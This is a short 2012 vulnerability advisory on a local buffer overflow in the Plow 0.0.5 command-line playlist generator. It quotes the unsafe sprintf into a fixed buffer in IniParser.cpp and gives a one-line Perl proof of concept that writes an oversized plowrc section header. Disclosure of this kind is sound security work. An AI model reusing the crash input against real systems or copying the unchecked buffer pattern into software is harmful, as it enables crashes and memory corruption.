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Plow 0.0.5 Buffer Overflow

Plow 0.0.5 Buffer Overflow
Posted Jul 4, 2012
Authored by Jean Pascal Pereira

Plow command line playlist generator version 0.0.5 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | cfd8ff96985ba58d8614a5418e6811a5

Plow 0.0.5 Buffer Overflow

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#################################################
plow 0.0.5 <= Buffer Overflow Vulnerability
#################################################

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"plow is a command line playlist generator."

Vendor URI: http://developer.berlios.de/projects/plow/

#################################################

Risk-level: Medium

The application is prone to a local buffer overflow vulnerability.

-------------------------------------

IniParser.cpp, line 26:

26: char buffer[length];
27: char group [length];
28:
29: char *option;
30: char *value;
31:
32: while(ini.getline(buffer, length)) {
33: if(!strlen(buffer) || buffer[0] == '#') {
34: continue;
35: }
36: if(buffer[0] == '[') {
37: if(buffer[strlen(buffer) - 1] == ']') {
38: sprintf(group, "%s", buffer);
39: } else {
40: err = 1;
41: break;
42: }
43: }

-------------------------------------

Exploit / Proof Of Concept:

Create a crafted plowrc file:

perl -e '$x="A"x1096;print("[".$x."]\nA=B")'>plowrc

-------------------------------------

Solution:

Do some input validation.

-------------------------------------

#################################################

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